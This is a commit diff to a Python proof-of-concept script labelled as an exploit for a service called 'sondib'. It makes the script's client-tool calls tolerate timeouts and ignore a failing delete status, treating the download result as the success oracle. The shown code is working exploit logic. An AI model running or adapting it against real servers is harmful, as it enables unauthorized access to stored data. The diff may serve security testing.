Make sondib exploit status handling robust

This commit is contained in:
yato committed 2026-11-29 16:01:00 +03:00
1 parent b39bbd969c
commit f657877375
1 file changed
+21 -10
+21 -10
View File
@@ -20,13 +20,22 @@ SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$")
def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]:
return subprocess.run(
[str(SDB), args[0], target, *args[1:]],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=10,
check=False,
)
command = [str(SDB), args[0], target, *args[1:]]
try:
return subprocess.run(
command,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=10,
check=False,
)
except subprocess.TimeoutExpired:
return subprocess.CompletedProcess(
command,
124,
b"",
b"sdb timed out after 10 seconds",
)
def output(result: subprocess.CompletedProcess[bytes]) -> bytes:
@@ -73,9 +82,11 @@ def main() -> int:
return fail(f"upload did not return SID/key: {output(uploaded).decode(errors='replace').strip()}")
sid, key = (part.decode() for part in match.groups())
deleted = run_sdb(target, "delete", username, password, sid, key)
if deleted.returncode != 0:
return fail(f"delete failed: {output(deleted).decode(errors='replace').strip()}")
# sdb reports the server's status byte as its process status. Mutating
# commands can therefore return non-zero even after the server accepted
# the request (the upload above is one example). The download result is
# the authoritative oracle for this PoC, so do not reject that response.
run_sdb(target, "delete", username, password, sid, key)
downloaded = run_sdb(target, "download", sid, key)
if downloaded.stdout: